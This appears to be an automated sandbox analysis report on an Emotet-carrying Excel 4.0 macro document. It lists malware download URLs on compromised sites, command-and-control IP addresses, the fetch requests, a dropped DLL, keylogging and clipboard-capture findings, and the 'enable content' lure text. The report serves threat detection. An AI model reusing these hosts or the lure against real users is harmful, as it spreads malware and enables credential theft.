Source: rundll32.exe, 0000000F.00000002.672163604.000000000039A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://160.16.102.168:80/Tep
Source: rundll32.exe, 0000000F.00000002.672219748.00000000003DB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://160.16.102.168:80/Tepia
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://allaagency.ro/wp-admin/7
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://allaagency.ro/wp-admin/7/
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://allaagency.ro/wp-admin/7/PE3
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://chochungcuhanoi.com/wp-c
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://chochungcuhanoi.com/wp-content/cyE2u0cnolP/
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://chochungcuhanoi.com/wp-content/cyE2u0cnolP/PE3
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://falah.or
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://falah.org.pk/vegasvulkan
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://falah.org.pk/vegasvulkan1000.falah.org.pk/ZBRx4QuUXfLH/
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://falah.org.pk/vegasvulkan1000.falah.org.pk/ZBRx4QuUXfLH/PE3
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getcode.info/wp-content/
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getcode.info/wp-content/QDx8b5j/
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getcode.info/wp-content/QDx8b5j/PE3
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://palankhir.hu/tools/GJRNh
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://palankhir.hu/tools/GJRNhZHz/
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://palankhir.hu/tools/GJRNhZHz/PE3
Source: powershell.exe, 00000006.00000002.677729797.000000001B468000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.677710900.000000001B449000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.672134847.000000000029F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.677744196.000000001B47F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.672280247.000000000041C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.672271946.0000000000411000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tanquessepticos.com/wp-a
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tanquessepticos.com/wp-admin/ApVVbl1fQ0/
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tanquessepticos.com/wp-admin/ApVVbl1fQ0/PE3
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://umanostudio.com/wp-admin
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://umanostudio.com/wp-admin/n1LG7aJnptBlQkC/
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://umanostudio.com/wp-admin/n1LG7aJnptBlQkC/PE3
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://weddingbandsirelandjbk.c
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://weddingbandsirelandjbk.com/hgsynt2/o/
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://weddingbandsirelandjbk.com/hgsynt2/o/PE3
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.yeald.finance
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.yeald.finance/wp-adm
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.yeald.finance/wp-admin/1WgPRm/
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.yeald.finance/wp-admin/1WgPRm/PE3
Source: C:\Windows\System32\mshta.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\fe[1].htm Jump to behavior
Source: unknown DNS traffic detected: queries for: www.yeald.finance
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_10012C30 _memset,connect,_strcat,send,recv, 9_2_10012C30
Source: global traffic HTTP traffic detected: GET /wp-admin/1WgPRm/ HTTP/1.1Host: www.yeald.financeConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /zzx/ccv/fe.html HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 91.240.118.168Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /zzx/ccv/fe.png HTTP/1.1Host: 91.240.118.168Connection: Keep-Alive
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown TCP traffic detected without corresponding DNS query: 160.16.102.168
Source: unknown TCP traffic detected without corresponding DNS query: 160.16.102.168
Source: unknown TCP traffic detected without corresponding DNS query: 160.16.102.168
Source: unknown TCP traffic detected without corresponding DNS query: 160.16.102.168
Source: unknown TCP traffic detected without corresponding DNS query: 160.16.102.168
Source: unknown TCP traffic detected without corresponding DNS query: 160.16.102.168
Source: unknown TCP traffic detected without corresponding DNS query: 160.16.102.168
Source: unknown TCP traffic detected without corresponding DNS query: 160.16.102.168
Source: unknown TCP traffic detected without corresponding DNS query: 160.16.102.168
Source: unknown TCP traffic detected without corresponding DNS query: 160.16.102.168
Source: unknown TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: mshta.exe, 00000004.00000002.433720521.0000000003130000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com equals www.linkedin.com (Linkedin)
Source: mshta.exe, 00000004.00000002.433720521.0000000003130000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: powershell.exe, 00000006.00000002.672134847.000000000029F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.672280247.000000000041C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Potential key logger detected (key state polling based)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_1001B43F GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA, 9_2_1001B43F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_1001B43F GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA, 11_2_1001B43F
Creates a window with clipboard capturing capabilities
Source: C:\Windows\System32\mshta.exe Window created: window name: CLIPBRDWNDCLASS Jump to behavior

E-Banking Fraud
barindex
Yara detected Emotet
Source: Yara match File source: 12.2.rundll32.exe.9c0000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2f90000.25.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.a20000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2b60000.13.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2b60000.13.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.7e0000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.3660000.28.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2790000.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.760000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.22b0000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.300000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.1f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.bf0000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.c20000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.c60000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2dc0000.20.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.25c0000.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.2410000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2730000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2790000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.270000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.1f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.2850000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2730000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2d80000.19.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.3d0000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.23a0000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.300000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2c60000.15.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.1e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2b90000.14.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2760000.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.24f0000.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.2370000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.2aa0000.12.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.3690000.29.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.2340000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2f50000.24.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.3660000.28.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.25c0000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.9f0000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2f20000.23.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.2aa0000.12.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2d50000.18.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2eb0000.22.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.2820000.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.2f90000.13.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.bc0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2f90000.25.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.bc0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.910000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.900000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.9f0000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.180000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2c60000.15.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.870000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.c20000.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2d0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.2e90000.12.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.2410000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.2f10000.13.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2f50000.24.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.2a0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.22b0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.900000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2d20000.17.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2eb0000.22.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.790000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.3d0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2ad0000.12.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.330000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.270000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.760000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.bf0000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2880000.11.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2ff0000.27.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2ad0000.12.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2e40000.21.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.cf0000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.350000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2dc0000.20.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2d20000.17.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.2850000.11.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.25f0000.11.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2fc0000.26.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.c60000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.bc0000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.870000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2cf0000.16.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.bc0000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.200000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.2370000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.10000000.30.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.220000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.10000000.14.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.10000000.14.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000C.00000002.538615152.0000000002850000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.496653771.0000000000331000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.494317741.0000000002F11000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673473149.0000000002FC1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672675374.0000000000CF1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.493631688.00000000001F0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672831223.0000000002881000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.541336124.00000000002A1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.493871437.0000000000BF1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673078532.0000000002CF1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.496375881.0000000000200000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.541752522.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672794567.0000000002790000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672749382.0000000002730000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.493984139.0000000002370000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672982289.0000000002B91000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672961471.0000000002B60000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.494455991.0000000010001000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538520592.0000000000BF1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673602256.0000000003660000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673105429.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538257691.00000000003D0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673360837.0000000002F21000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.447233462.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673205255.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538139872.0000000000351000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.494009099.00000000023A1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673030786.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672529691.0000000000911000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672081662.00000000002D1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673507519.0000000002FF1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.494267369.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672772312.0000000002761000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538439653.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673316318.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673391096.0000000002F50000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538498842.0000000000BC0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673131902.0000000002D51000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672329422.00000000007E1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.447160166.0000000000760000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.493959169.0000000002341000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672931992.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.494193723.00000000025F1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538417405.00000000009C1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.494121481.00000000025C0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.541212880.0000000000270000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.494079905.00000000024F1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538540998.0000000000C20000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673171132.0000000002D81000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672613597.0000000000C60000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672004438.0000000000180000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.493846362.0000000000BC0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538682957.0000000002E91000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538459946.0000000000A21000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.493656518.0000000000221000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.493927485.00000000022B0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673263211.0000000002E41000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673700095.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673435114.0000000002F90000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538786600.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538736284.0000000002F91000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538591662.0000000002821000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672103586.0000000000300000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538065858.00000000001E0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672388917.0000000000870000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.447180476.0000000000791000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673628550.0000000003691000.00000020.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.496825866.0000000010001000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.494040925.0000000002410000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538366137.0000000000900000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\Public\Documents\ssd.dll, type: DROPPED

System Summary
barindex
Found malicious Excel 4.0 Macro
Source: imedpub.com_10.xls Macro extractor: Sheet: Macro1 contains: mshta
Source: imedpub.com_10.xls Macro extractor: Sheet: Macro1 contains: mshta
Malicious sample detected (through community Yara rule)
Source: imedpub.com_10.xls, type: SAMPLE Matched rule: Detects OLE Excel 4 Macros documents acting as downloaders Author: ditekSHen
Source: C:\Users\user\Desktop\imedpub.com_10.xls, type: DROPPED Matched rule: Detects OLE Excel 4 Macros documents acting as downloaders Author: ditekSHen
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. 17 18 19 20 21 22 23
Source: Screenshot number: 4 Screenshot OCR: DOCUMENT IS PROTECTED. 11 12 13 14 Previewing is not available for protected documents. 15 16
Source: Screenshot number: 4 Screenshot OCR: protected documents. 15 16 You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to pre
Source: Screenshot number: 4 Screenshot OCR: ENABLE CONTENT" buttons to preview this document. 17 18 19 20 21 22 23 24 25 26 27 28 2
Source: Document image extraction number: 0 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 0 Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Document image extraction number: 0 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 0 Screenshot OCR: ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
